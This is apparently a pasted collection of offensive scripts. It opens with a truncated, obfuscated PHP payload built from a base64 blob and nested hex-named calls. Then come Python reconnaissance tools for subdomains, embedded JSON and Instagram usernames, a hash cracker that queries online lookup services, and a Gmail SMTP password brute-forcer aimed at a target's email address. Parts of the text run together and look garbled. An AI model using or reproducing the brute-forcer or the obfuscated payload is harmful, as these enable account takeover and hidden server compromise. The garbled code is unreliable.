pZRExNMGFTVk1venNyNXJpMzR4ZFRnRTh3Zjd3N2FyMVdYNTZ0QlYrUkxCZ2ZqM2w3d2ErMjJwSWZQY

ks1RTB0MWpuZklCSTlKVTYyRDV5WHN6S0hhRytQUWhQSUJqM0MyVTNlekFGaXYvd2ZoU1ZUWHVTalB4

c3VmeTREdGFVendwM2xzd1hpY1RJb0pJRGppS2kwb3hiek9WWGZ2VGI2ZmVTNzVEUW1Xd1pWL2x4d2s

wNS9wWWdlQnVSeEV4a0tHT2swWnAxdEVaamorcW1mbDNodms1dlZoRUxqNlVFVGNibDhqRjZMODljRj

MrK1A4di9xWVMySkxUcUNvZllZakYyMFVwUXY1U0ZOVCtwZUJXMEZRd3owbzAvWHJZTWpzQVp3L3lxM

kVJTVR1a1NNcE5VdUg5QlFlUkRvaXJPYW1zMlQ2d3VqbFhoZEdlZWZRUklkR2pRenVoQmhiakpuR2xO

YWRPUGRLQk5jS0lERFp6TEtuOVdZYStmaWY4Z0NNT2pEMmNpZis1RjJTVUFKVitqSVQ4NkJERDB5c1I

zOGxhcXJBQzYrYTVDaHptc0JyMU4yaEg1eTFyTlNyaTVQWk91S21IVGtJL3lhMUgyUmxGRkpnbFlmL0

16RlJJeVZHL2h2VXhwWE9QZTFCWFhVcncyR3BJRWNOMThFV0pQRHpIbElGZGFMLzB6azNvVytzRVhXR

mNuSFdnb2JjUkpUVjFGVy8vRlF0bUM4dHZ5QUlUTzdXb0t4UWZFYTRRZlZZaWxJQi9xUXpMdG42UDEr

VzhDRmlROXhxd3QzVEI4L3pVTkNoem1XRVRZWFNKeHZMYjlhR3BBV3NVOGN2aUwzYmZJN29PencrRDF

xeVd3dmcySzk5TnczNVRvZmk4amJJTVNZYis3RjlQMGptcFhVR2drdU1wNjZmb25nUm9JcWZNeG5GOE

ZrWWhHTVhnVmwxSURRaUtlMzJrdXpqZFFBS0Q3WTIyamxKREZSd1VPblRETU5FekkwaHRRWERJRzNjT

2cya28zR0RyeVRzZjZIaTN2UzZwVmJoUVJtT21vcFFkSGRWWWRRNlVVck9JOE1nY0ROUE90QkI1bWRO

VnNVbGh0VGNVUDZ6VHlOR002cC83VHBLVkoySkhvaEJ2amxkc0hZa09kOC9nM3FPbWpMeFo1VVh0czJ

WcU9zUGltdHdJWU13eGc4UmZzN01tTEtBT2lycCt3S3dGbllBUGE3ZldicHdONDdxcXkxQnlnWVphVk

M1eHBaaEZYZTJBVVRpSE1LMkpLQk4zYXhGa2hjM2hNMUNoa3NRQXZUdWwvNkpteUduYlVlcnJUY0dYS

VJKWGFMQnFiSWFtS29OOXhoQThzem05SlNTWTd1MkJLcWR3NERnY3QwNTFEL3Zxc0FleHBVU2Z1dVhw

UzQxRHAwSWhnd24vYWhyeDYyOFdKaFNMb3U5V1l5MERkVVR2dDJUTDFRK20rQlVUNVNUQ0FPbGRwdDh

ZNU5DR0NDUmtwdm93eGdXNEFpbHVZWVQ1RHF4RFBDVU42U1dFc0FPV1A1Zks1SzA0dlBJZnowM3RSdj

ZDWndYYVFZT1MxTklBV1F1U3FwMzczQ0l4VkNrRHk4dnhmWS8xY3RLUGRGREdKS2dJTjc1b0g4OS9lT

jZPcGo3dDNVTXNVc29mUlFCU3hKSzBCdFBJMGYvd3RIS1pNM0grYTlkeWhFRkVVNTE1NFNSaHFEVW15

aFN3UzZ6L21QMndKRVVpU2t5dUpxMkcydGlLdXI4aU9mTERKMGphci9HQWRjVmFGbmlnOHlOcVFuTmZ

sdVM4RnpnTklabTlhbi9PalFPMUlJTmd3c2VrTDBuVzRhRUVRSVZvMlJZeXhJTjdwbHAzcVhBVHM3eE

pmemJrSnQ1R1h5cXFuSnd3aG5LZFhMRklZaUVpNnJaK25SY2xsK3ZKcGVsSzZRREVqc2dyblUvMmQ1V

lgwdFZFRTc1Z1NpTHM0blh3QUtCUUtTS1hkYWNOdTJUb1d6WHhaVzhIc0M1c2xNQVlZZEtXK0ZXandF

bHc2ZHhIaTBwOENJemxhYUtVZXVpRWhtMmxyQVJCTU1veEN4YjRzZkk1a2VVckdtNFFZSGd1a2R3d0h

MNnhGVWVkRGhzdG80bTNobi9QYW5rZUc2eUozZmNvazUyOEp3MUU2eDAzRXA0UTFlbVp5S0xEMEN1Vm

NJcnROWmRpZ0RITmRQV1NiU0M5RmtqZlllbXVGRnN1YzhjSmRDMTI2WVBWckFrbFkrNDNaQlEvaEtvM

U9WdWJvbDB4ZTVwTllDai9MemlRaWFkOTdVdERTT3RLSVlhbFNtNEtuZlYyREZ1SHNrNFpwRU9TWWZN

WWN0bU5xS1liaEQrakdQTUY3STdKR3JCTWtpczJ1TzIvdCtBNXQwdTVvK2RYSEJpSlEwMnVBZXppbzd

RUmtmZzM0MDIrNWVNejBLb1dzc05sUkttbytTY1R4cGlBYStZeFYvL2VabkpJUDZMbEtFZkRLY1ZZOE

ZxcjhXMWMrblFLa0c0SlUwc2lyendBT2tDUEp5MFlXd0V6VjlkcnBXdVgxbXRnSkJiTzN2QVlCZHdPS

y9pbU5xZm5MU2NLSkkyTXFIVzJKUHJNZkI3blhKWktnQWlhemN3Ym0rcTNoWlBncGN2aDg4elFvWmI2

L2hleHM5NUMxMWE2aTIrNEVmSGNuUU9SbjFGU3AzRnNieWw4MXNiN2UrZ2tqcVV2RlRTd3doM0Q1OHl

jOUtYenNBdmNMMnJOK25mby9qYVVFU0VMZ2psaTFRS1ZGelo5MSs4NjRjcGhjbUtXTGIyYXpPR05XSl

RZYzRIdnZQT0M1Q05TcUd5cC9LSlFvNFJsWHIxYXRuTURVb09LRkgxamVQQll1bDNVWEY2a3JnQUNwU

nF2TVNaNHJ6Zm5DQnFrL21pQ3c3UGpiSWwrSWNOd1ZTd3hBNzlsRmllcE1pSURKV0ZQWVJzR2lrYzBs

M0MxTm1Pbk15WU96SmZuOFYzeisxU1VGdGtXTUxEZDVwdEZWV2F3NWU4RFhxaUhNQjZNcHA5QWZwQ1o

yai9hOXV3eVQvQ3lHV3R5RFdDSnNzLzNVNy9UaS9qTD0iKSkpOiR4YTYxNWUyNCgkczQyN2NjNzYoJH

AyZDIwNTllKCJDSXNVUGlLWmZLbEtVbDlmbXhWNUxEa0tCcnBmaWIyeGI1a21yVWJzVDNqS2psRjZ6R

TY2aGRlL2dkUmp4cnBSL2QrLy9najQvTnFQYkc4M3Rza3o3TitCLzd4RTlOK1JSWThlOVk5VUE0NzhF

aXovL0kvLy9BaHE0dU9KakJ3Q1V4WFdDa1FrODRVOXNCUVNvNC8vMWh1L3NIVi90a2kvVHNrc3Bubzk

zLy9zN0I5Lys5OFEvaTZLU01ERnExazRyOFdFR01FR0tNcHpUNEN2M0w2d2VsSjNEclltZFd5TmhIbE

ZHY3QyMW1FWDFveGRNUmR5dlhNMjRuWmhOT05ldTE3MXJKS040TDl0UUdGeStSRHMzZHVYeEwwTnVDa

ERvVXh1ZUxJc2EwWlBVdHp0OE45V1hQU1lCdWNvTnUxUFBlWjJGM3B3eUZ2UENleWdOTEUxSnB3NUpI

eFM2WlpGTy9WRkpOUHhXRFBGaFF3dGYyMlR2ZUo1dUc5b2c5RVZJcWYycGxZaUhxR2t3VVAwT25TQlg

xMHQ4b0cwTndxU2hZbE5GRVJvcVFCVlptbXJJQTJ1WWZ0OFJqaU1ydHRmMUZLeFJ4aHlCbUpaY21KWD

JsQ3NXdzRpSWN1RzVlVFVsUkh3TStXTEljTnZvOVRYQjdHMitnWDEzSkhXY2wvZEt6QjRJSXFrM1VDT

Tl0MzMxajRSZ0hRWUF3OU9heDkrSS9QbGVrQkdNN042eGhCSjJMNnRLZ21vWDNzVWQ0N3dwakhnMllM

NlJzRVBCZ1p5S0w0R00rSithN0lBaC83MFRLbWhQTDR3Z1BUTnlpMkFnbUlNazgrbC84YzcrUkRNeCt

WZmQ3YnArWmtPUjhuK0FYQkw5MWx1Z3doTVNxTnVibWZTWk9lejAvQmk5WFhycW1GRXlnQUV2dEhtMH

ZFZ2N0SkhyQnE5QmNNd1R3MnJJSVB2akEvcDYyNXdXTXp2L0VIM3ZXVG1lU1dNR3VHSHdWRC9NdFJKU

3lxMG9OcmZ0M2ZmTHNXTUhlK2ZOM0lBd2dvUWVaSG1ETk12UmxDYUlaTm5qUEFxNVl2emJKVmNBZ2s1

SW9BRnExMUY2dGVZSHVvalJ3ZUFHU1oyUGFCQWpxREhpdnRNTFFpQlBWWWVhdkFja3IxT0VlbklLOW5

EZkl1NTUvWU1lNUVMcElHdGcwU0o3NkZQUjFrVHhWMkdzaHJDQzB6TG0wRUxYVmlmVFpyTlpoaEp1WF

RDZnJSdWRVME9XWHErTnNGc294TFBjZXg0M3FlYytIa0xIRzN6c1JHUVVnMVlOZCtZN1BEc3F4V0dFO

HNLZWtKckVsaWFwcU85cHd2bWZaRUh1a0NRWjZvWGVoam15amNKV3JyYVptcmI0dWF2ODFFb3RHdGdU

bFB5MHI2aTE3cEVrSzJnWEZEYVBTSnZLMzZKamZHdDh2QVNKRjFQSXpkSHhJMXQvdU54bFdKcEozY1R

5by9NRnQrbHpWcHlEejlRQVh6dHE0S01mdmFYdll4MUsxcmRGdXJKWTBYQ3pmOVlNOGRqRWJJVm14c3

hOYm1sT0FTZTRnYjgrdGpkNEUzZHltc1h0OFNOOUJZbjd2eWZUUHNGdFFTRmN2QnBNbDc1VUpORDBaN

Ut5anNyTlVlU3VMbTh4c1ZMMzVwajRXRVl1dHFnUHVxNms3SklIY04zYXVXMGZtL3p1TVV3akZWRjN4

dFd2c2xGRTVTQWNBVXRnOHFxN1ZlaDVsZExweHB2NGVaUkpTTkxYZlBKdEZ5dVM0S25YS1owNnp5bGR

6bHQxeHNuUWN5ZG9CUHJWZ01rclplRFZzWmgyb2U0cHVnM2FsWEZZNnZ0RU9mRmExaHBZaXV2M0p5TU

FGM0JxdTdROUI0Wk9wbW1hR2xtQ3ovSmJYRlZ6SFJOSUlhRmUxeFdIclkzL1lqSXNGRnRjdW1CNTZsQ

VA5djJzcjJrVWNWeHp4Z2hweGR0cFllRVlRTGJPMjNZREswcGNaQ0d5TDhwTlF6djJDYnQzM092d3k0

bE9jZS9XWVMzbmRJZHY3ancwUE1oZGlCd3c1Z20zWWEyVk44dXZKWkdjTWpqU05NYkRIUlMyMGYrdzF

LOTNUd2FoVElDTDdPaE1ZUGZxTUg4ZDhuNzJyeGpNcDNHQm51M0Vnb3BvYzZMWkNmS0w2WWdnUEhQRk

5na2lLQUI0WVBOMjQvT29nejkyRXllcUc2VlV2K1gzRnhIajZRYVd6WDFzTVJNOStMMWk5VVdiN09JW

WtQQjVRSTYxaEMzYklVcTd0V0lrRFBlak92QW02RDliSzZXQnNDZHp0aGs4NXlUSVJVcFFXZUZtTVhI

UHYzSnFjay9xRDBDZzFjWkhodmo0VGNxdVorWDF1YlZESnNGdTJPMzJGKytMZWlNc0pXbHdTRVZIeG9

BeW5TVkI1cVNqcTRjWFZkb1YrUFh6aDBrNkR3VUVVaE9UOEtucXpQcG5sODhLZytvajFUSzA2WGpKZX

diZEdiRGRkcHFDc1pnUTVVaVZkaWJ4VW1ZclB5RXJjMjBESEg4MTArZUlOQ0ZFdlRvT1MyZmtoOUtrW

i9XaXRWc0xRTGcxT282bmV1eDJpQkRNU3NidlJVaGJMSVQ5bHZHQ0d6clRCNmFjQS9YMmtWU0JXQkdC

NzA5a0FMeS9zcFFRUUFvSE1TTDJiNXIxYVN5R3l1bkxKWW1ZMmhYMzgyN1l0alBHUXJsdEU5UUxwT3h

1cUlOV3ZsOVRYWXBkY00zdWR1NGNNelY4a1Z6QTlKSjI5WjBjb28yQ08xeVltOXBxYWUvVTBuWFhLUz

RsTUtTM0pxOVFuUll4aEJqOFRLUlk1c1ordHg5WFJ2dVFnd1B2bW1ONDJ4ZE5GaUlBeVl1YXh2OXlMT

DJFdGd4YmxIcnpTUUEzZ25ESWVDTGtzMkh5YVJZVnlQeXpmYk5nOEhRNStBNXdGdGtDem0rWWJIQXZY

S0c5Q3gzSENHenBvbFgzZXNXSnpMYTlwVUZPQkhDZGhQUFV6VFNsSEo2NWdUZU5MaVcvQWRybmlBSXF

1cVF5ZHkzMkdpcXBTU016ZUNQRm1UR0lrM1JMS1d0T0hsbHN6Z0xWWWFUUGozUllCSGhqcEdFeTZQU1

UxclJSaVhuRFR0eXZxSE1ablhBTmFwRVhGOGpGWktjMy9xOWVNYXhUaEVUY1NMdXpxT3ZMVGx5TXJUT

EliMnlUeEhRN2s4VENkV0dkdWFhelhlMG1QWkVndzJIUE1HRng3aWl6UmE3N1FlMnlwMXZoblJIZkpi

RU5WN0ZwQ3lEMTFDS1RmMzhPekUzNlpZellyQU9wdmE5Q2Y4WnNPQmJvTVNTVVFXVnhvRjJEWlUxOCt

JS1kvVTlLRFVLMkNDNWpCdmZlQlVMRW1uU1pLajNrTVVwOEtZYzZYYzRJaThTU0VpMDh4N3FNK3hDaD

V5NFY1Z2xOMllnRWcydG0yNkRJR3lIRHIxRFl2eVhqZEYvV0YvSlU5TGF0ck9qcHhDTldZS2V5dTlUR

21VNGx3TGJ4TnY1Qk83dkc1cms5NHErdnljK3FJNUsyQVRkQUVtay9XTnBxNHU0WEkrQU9YcUNUQ3Bp

L2prdFJtcWZEY0RucEdkck9PNU1tUHM3WVlHOWJDdGFFUkQvN29QaXFZb1FydEcxWllKM2FiOERjcDl

rWXJqVmNzeXdJSGdVRFZIbE5iYTJHWWRFcDh3WUI4ZEdCN1F5NUVwNlljNHBNYkJ4Rks0RDV2VW80WD

I3OVA1MTdlZ0NRYnV6QTBnbTg1UWlONHNzMlRKN0l1Kzc4UjB0MkU2eE5YRUhWOTh3RmZudXJpcEh6Q

lNaQmpSYUI1Q0p3SWVEakxabXgvdTFYMGZzcjZQd2E5a3lQTkhJWjFMTERFYVh6SGE1eUtQaTJldUpM

QzZHYWpyNHVidVpYckdjK1lPOWFPcENPa0hER3hCWmMvbWVwbnJsamt1aXJ6TTd0ODlVZVlqODRnZFV

HWElyeTJjRFhCNGNZcFV1YzRBZEpKUVY4VWVwN1JCamsrUFdmQ3g5TEY5L1Y1QVNzSU53eitxdlpFc0

RFRXlLNnJ0RFdKYkZWSWc1bTdhNHpjbnEwamNiYzVKWjc3TEg4NnhwTEx1cEdNS1lYdmZub3ZmaXpYY

0pLaEMwY2JBYnRPelhmb1JqcHpFRXNTeXppbFQwTE9EZzhuOXlFWUlzcnUyUnRCeDJwNzFmWXVrdW9E

b0xyV3F4YWd1NHRHU1ptbkJOd3E1S3ZWSU05UDNZNGNlZ3JhNFJRKzNXdXlVcGM0em1YT2xydkxSMER

ISWUvdXM4VHd3eDhhM25uQVJ2OTFPYnhGaERZYk1sV2xaQzNXYXRWb1BIZktheFJOUEtGazhDcjcwUm

U4VU81eXFhaW4vRUN6N0JCSHBlVEREOWFHaGY1V243T1NoallwTnpCcnVGb3FzUWt3dW5TRjJOaXVUV

k9XZTZqYURMNVZUejkxaEJKbUdUZlhRTVdNZFBNUmRQa1pnVUU0VnY2OUFWTlJheWhHUDdJbjd4NHcv

c2x3S3hMU3Z5T1N6KzhMenVYUFJNRUdBamdsRUg1eTVoeldOb2dTNUtmTUY0WXcwODdoR3VGVGwreHd

SOUc1ajBSVExrU1dDQVVVSE9FK2R0dlhKdXV2UkpuYjVKUW1vbkQrY3FtRnRXRzl3VDlieUlaazdhOW

dVTkJoNE9jQWYzWHgrZnBNRmRnR2dtdDdadG8vYlJkZFBiM1grSzBKMFNkVHZLWHRqbUtyV0ttMVdZa

UN6dDgweVVLckx6SWcxSlNiaXc0T2dmS1NnanJYbGl3QjBRVy96clU3NXpNbmJycys1MlExTnRHelN0

Qk9LNnlVejJDdzFhL01aV3IxRjQ3QW0wMFEyTUlDbDVKelR5TElZSDluOGJ2WCszMlpaOFZvSTBGbHl

4NTdqTXRuTlhyL2pOTHdJY3pqZ04xTXVhNlpHM2t5bmpXbmtKWWx5L3FybnlUZW5mOEIvdWM2YjhsT0

dBUUxNSzlORlU1UXhENy9JWDlyVXV6WjIyVHBGSEJXc2VETFRXWjZYMUl3djI4Y1FlSXNwUzh5bGZQV

TIvUWU4Nkl1U1orck4vU3duTG90MnE5emJCeXZ2QkNwQmk3d3lFb3puT29ra010Q2JHTDErOEtPTUpB

UnNQLzE2Z05JOG5oRWlCMWpVN2tCRFpGV01DNDRkWkhZa1Z0UlB0VTFpQ3hHblFwQ3VYYVZuSCtXMXM

5TE12TGk0QmN3RjU0YmlSRnZYVGVlNVJyeWI0dHU1RDNYb2xKWmg1VUw4VnZCeExMVXhEVUlxVnFjUD

BReU4zcWFINHpOV0JUL0N5NVhvMXR5a3UrY1hNVUxWUkt2aDJUeDhyOW5OWWtFOFhLSldwQU16NkwvM

k1LdTdYRHE2SGhsRzRrZ2x0ZUJYOEZTNDZ6WUdxNVUzeUFkRXVkNE1YZlJjYUZKWEFSTDduaitDWTVP

Y0ZacWx4U042VTlSb1I0TndwQitJN3FBMzM0NFFiNENtWG11MHFER2h3VzUzNFRZRDF4TThMNVZ2QW9

3QTdzcjQvZ3RlNjg2czdkSThaYTQvZ0o4MC9CSFVEZHNWcklBS1pTYXRUUU5TNHNDY3JWVFdPU2xCSE

4xZXAxMzRGMzI2QUwxZEJMaHdJV0RjM1o3MUV0dEw2VkZySUwxSkp5ZEJycTRESDJIRkpOWnc3N3hXd

lQ5MmdmOUlQNlZsM0QrU1dtdEFkN05hQkhwRHVkNWVLUUtOT29wNXZNcExCVXlMMjRnVkwzSmsyemlm

N1B0NzEwTTc3QXlVQ3FXZ0NrVkhwV3BhenpuNm1jYWVIRjRLVTRMZ08yQmE3b1NxK1R6ZzJhVHhjMVk

yMTh3RVkwVDJIQSs0akozd2dSOHhJMzBsaG5mTEtDZ3dCbWIwdGJKQzVId2JYT1h0LzZnc3NpaFBoc3

dqYzVVc3pyMlNzbmZ0eDJLRmI1YmxZWlhNMUJCYXhkaktRUXBmU0s3cWdFMnl1MEM1VWpJMmVEMnZFO

WY5MmJ3UU52a1p2QzN6UkF3MERVM1VrcGpRaVhTQnFJMm8zeE9WcWRPV0VvS21OT1ZNTUNUaWMyV3J1

Z3c2c21KUkpHVkZsNzhqWGJ2S1BZNjNCSGFnRGF1RzRqZTRWNk9iaUhRcGRxY015L3VLQlhNVHJWK0J

mWWxFd2k5bkFjNFhKWTlZM0xIOGpBOWdSVVlIb2pjS1o4U1JsbzNuSjZNOENKKzFQNEJsWlVNMUN6Ul

Y2L2hoQm0zVFJsakFlSGVRSHo2Vnh4dVg3T1RLNm5HaWozdkV0b0VJU3F0MmxVZ09vMzJaK1V1VmhyT

GtHeHJtbTFqSzBRUk1uTmJGOFFmdlU1Tkk5TkdoaUdOSjdYeW94bWlrSDNkS252bTBzcjZUODRIakRE

SGNyeStpa3hwblZWaDY5K09MM0Qrd3h4K240cHh2R29TaWlWYllUTVlPNk9BbVVaUG11UGsxaWZDcVV

mU2VSVEhEbHN4bE1MM2g5cEQ1cVFBOENyMWJLL2dKa2pHekZ6SUFUeDcrK20wQ2FGS05xV2htSmpzRi

s4UFdtbUgrclE5SHZKM0RwbjRSM0ZNSUdWZkZYTk84Rk40UUNEQzdlZTMvODRrLy8vUXA9IikpKSk7"

));

?>

subdomain enum


import sys
import requests
import json


def getJldcContent(domain):
	try:
		req = requests.get(
			'https://jldc.me/anubis/subdomains/{domain}'.format(
				domain = domain
				)
			)
		return json.loads(req.content.decode('utf-8'))
	except Exception as _except:
		print('[ + ] %s'%str(_except))

def __usage__(_=True):
	print('\nUsage:\n')
	print('\tpython3 %s '%(sys.argv[0]))
	print('\tcat domains.txt | python3 %s'%sys.argv[0])
	if _:
		sys.exit(0)

def __main__(keyword):
	jsoned = getJldcContent(keyword)
	for subdomain in jsoned:
		print(subdomain)

stdin = False
if __name__ == "__main__":
	if len(sys.argv) > 1 and len(sys.argv) < 3:
		for keyword in sys.argv[1].split(';'):
			__main__(keyword)
	else:
		for line in sys.stdin.readlines():
			stdin = True
			line = line.strip()
			if line == '\n':
				__usage__()
			__main__(line)

	if len(sys.argv) == 1 and stdin is False:
		__usage__()

json extractor from script tag


import sys
import lxml.html as html
import requests
import json
import urllib.parse as parse

def getContent(domain):
	try:
		req = requests.get(
			'{domain}'.format(
				domain = domain
				)
			)
		return req
	except Exception as _except:
		print('[ + ] %s'%str(_except))

def __usage__(_=True):
	print('\nUsage:\n')
	print('\tpython3 %s '%(sys.argv[0]))
	print('\tcat sites.txt | python3 %s'%sys.argv[0])
	if _:
		sys.exit(0)

def __main__(site):
	parse_ = parse.urlparse(site)
	if parse_.scheme == '':
		# print('[ ! ] Missing scheme or not supported for %s! Skip target..'%(site))
		return
	# print('[ + ] '+site)
	content = getContent(site)
	from_str = html.fromstring(content.content)
	xpath = from_str.xpath('//script[@type="application/json"]/text()')
	for i in range(len(xpath)):
		i = json.dumps(json.loads(str(xpath[i]).encode('utf-8')))
		print(i)


stdin = False
if __name__ == "__main__":
	if len(sys.argv) > 1 and len(sys.argv) < 3:
		for keyword in sys.argv[1].split(';'):
			__main__(keyword)
	else:
		for line in sys.stdin.readlines():
			stdin = True
			line = line.strip()
			if line == '\n':
				__usage__()
			__main__(line)

	if len(sys.argv) == 1 and stdin is False:
		__usage__()

js beautify


import sys
try:
    import jsbeautifier
    import requests
except Exception as e:
    sys.exit(print("{0}.. please download this module/s".format(e)))

def beauty(content:str)->str:
    return jsbeautifier.beautify(content.decode())

def getjs(url:str)->dict:
    try: return requests.get(url) 
    except: return {'content':None}

def main()->None:
    try:
        url = sys.argv[1]
        output = sys.argv[2]
    except:
        sys.exit(print("\nUsage:\tpython3 {0}  \n".format(sys.argv[0])))
    if '.js' in url:
        r = getjs(url)
        if r.status_code == 200:
            js = beauty(r.content)
            if output:
                _file = open(sys.argv[2],"w")
                _file.write(js)
                _file.close()
                print("Done! file saved here -> \"{0}\"".format(_file.name))
    else:
        sys.exit(print("\".js\" not found in URL ({}).. check your url".format(sys.argv[1])))

main()

instagram search

import os,sys,requests,json,time
from time import sleep
def igsearch(nm):
    sleep(2)
    req=requests.get("https://www.instagram.com/web/search/topsearch/?query="+nm,headers={"user-agent":"Mozilla/5.0 (Linux; Android 10; Redmi 4A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.186 Mobile Safari/537.36"}).text
    for x in json.loads(req)["users"]:
        username=x['user']['username']
        name=x['user']['full_name']
        print("\033[00m"+username+"\033[96m|\033[00m"+name)

if __name__=="__main__":
     os.system('clear')
     print("\t\033[1;97mGet Username IG From Search")
     print("\t\033[96m___________________________\033[00m")
     nm=input("\tQuery Name : \033[96m")
     print("\n")
     igsearch(nm)

hash md5

import re
import os
import requests
import argparse
import concurrent.futures

parser = argparse.ArgumentParser()
parser.add_argument('-s', help='hash', dest='hash')
parser.add_argument('-f', help='file containing hashes', dest='file')
parser.add_argument('-d', help='directory containing hashes', dest='dir')
parser.add_argument('-t', help='number of threads', dest='threads', type=int)
args = parser.parse_args()

#Warna
end = '\033[0m'
red = '\033[91m'
green = '\033[92m'
white = '\033[97m'
dgreen = '\033[32m'
yellow = '\033[93m'
back = '\033[7;91m'
run = '\033[97m[~]\033[0m'
que = '\033[94m[?]\033[0m'
bad = '\033[91m[-]\033[0m'
info = '\033[93m[!]\033[0m'
good = '\033[92m[+]\033[0m'

cwd = os.getcwd()
directory = args.dir
file = args.file
thread_count = args.threads or 4

if directory:
    if directory[-1] == '/':
        directory = directory[:-1]

def alpha(hashvalue, hashtype):
    response = requests.get('https://lea.kz/api/hash/' + hashvalue).text
    match = re.search(r': "(.*?)"', response)
    if match:
        return match.group(1)
    else:
        return False

def beta(hashvalue, hashtype):
    response = requests.get('http://hashtoolkit.com/reverse-hash/?hash=', hashvalue).text
    match = re.search(r'/generate-hash/?text=.*?"', response)
    if match:
        return match.group(1)
    else:
        return False

def gamma(hashvalue, hashtype):
    response = requests.get('http://www.nitrxgen.net/md5db/' + hashvalue).text
    if response:
        return response
    else:
        return False

def delta(hashvalue, hashtype):
    data = {'auth':'8272hgt', 'hash':hashvalue, 'string':'','Submit':'Submit'}
    response = requests.post('http://hashcrack.com/index.php' , data).text
    match = re.search(r'(.*?)
', response) if match: return match.group(1) else: return False def theta(hashvalue, hashtype): response = requests.get('http://md5decrypt.net/Api/api.php?hash=%s&hash_type=%s&email=deanna_abshire@proxymail.eu&code=1152464b80a61728' % (hashvalue, hashtype)).text if len(response) != 0: return response else: return False print ('''\033[1;97m _ _ _ ____ _____ | | | | __ _ ___| |__ / ___|___ | | |_| |/ _` / __| '_ \| | / / | _ | (_| \__ \ | | | |___ / / |_| |_|\__,_|___/_| |_|\____|/_/ %sv1.7 python3 hash.py [-h] [-s HASH] [-f FILE] [-d DIR] [-t THREADS]\033[0m\n''' % red) md5 = [gamma, alpha, beta, theta, delta] sha1 = [alpha, beta, theta, delta] sha256 = [alpha, beta, theta] sha384 = [alpha, beta, theta] sha512 = [alpha, beta, theta] def crack(hashvalue): result = False if len(hashvalue) == 32: if not file: print ('%s Hash function : MD5' % info) for api in md5: r = api(hashvalue, 'md5') if r: return r elif len(hashvalue) == 40: if not file: print ('%s Hash function : SHA1' % info) for api in sha1: r = api(hashvalue, 'sha1') if r: return r elif len(hashvalue) == 64: if not file: print ('%s Hash function : SHA-256' % info) for api in sha256: r = api(hashvalue, 'sha256') if r: return r elif len(hashvalue) == 96: if not file: print ('%s Hash function : SHA-384' % info) for api in sha384: r = api(hashvalue, 'sha384') if r: return r elif len(hashvalue) == 128: if not file: print ('%s Hash function : SHA-512' % info) for api in sha512: r = api(hashvalue, 'sha512') if r: return r else: if not file: print ('%s This hash type is not supported.' % bad) quit() else: return False result = {} def threaded(hashvalue): resp = crack(hashvalue) if resp: print (hashvalue + ' : ' + resp) result[hashvalue] = resp def grepper(directory): os.system('''grep -Pr "[a-f0-9]{128}|[a-f0-9]{96}|[a-f0-9]{64}|[a-f0-9]{40}|[a-f0-9]{32}" %s --exclude=\*.{png,jpg,jpeg,mp3,mp4,zip,gz} | grep -Po "[a-f0-9]{128}|[a-f0-9]{96}|[a-f0-9]{64}|[a-f0-9]{40}|[a-f0-9]{32}" >> %s/%s.txt''' % (directory, cwd, directory.split('/')[-1])) print ('%s Results saved in %s.txt' % (info, directory.split('/')[-1])) def miner(file): lines = [] found = set() with open(file, 'r') as f: for line in f: lines.append(line.strip('\n')) for line in lines: matches = re.findall(r'[a-f0-9]{128}|[a-f0-9]{96}|[a-f0-9]{64}|[a-f0-9]{40}|[a-f0-9]{32}', line) if matches: for match in matches: found.add(match) print ('%s Hashes found: %i' % (info, len(found))) threadpool = concurrent.futures.ThreadPoolExecutor(max_workers=thread_count) futures = (threadpool.submit(threaded, hashvalue) for hashvalue in found) for i, _ in enumerate(concurrent.futures.as_completed(futures)): if i + 1 == len(found) or (i + 1) % thread_count == 0: print('%s Progress: %i/%i' % (info, i + 1, len(found)), end='\r') def single(args): result = crack(args.hash) if result: print (result) else: print ('%s Hash was not found in any database.' % bad) if directory: try: grepper(directory) except KeyboardInterrupt: pass elif file: try: miner(file) except KeyboardInterrupt: pass with open('cracked-%s' % file.split('/')[-1], 'w+') as f: for hashvalue, cracked in result.items(): f.write(hashvalue + ':' + cracked + '\n') print ('%s Results saved in cracked-%s' % (info, file.split('/')[-1])) elif args.hash:

gmail craker

#!/usr/bin/env python
# -*- coding: utf-8 -*- 
from termcolor import colored
import re
import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

def display_info():                                        
        print colored('\r\n¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦','green')
	print colored(' \t Developer: Mohamed Jassar	')
	print colored( '     Company: Sarjas Software Solution		')
        print colored( 'Warning:This program is meant for educational purposes only. \n Any illegal use of this program is strictly prohibited.\n Users are solely responsible for how they use this program.		')   
	print colored('¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦','green')
print "\r\n"
display_info()
user = raw_input("Enter the target's email address: ")
passwfile = raw_input("Enter the password file name: ")
passwfile = open(passwfile, "r")

for password in passwfile:
	try:
		smtpserver.login(user, password)

		print "[+] Password Found: %s" % password
		break;
	except smtplib.SMTPAuthenticationError:
		print "[!] Password Incorrect: %s" % password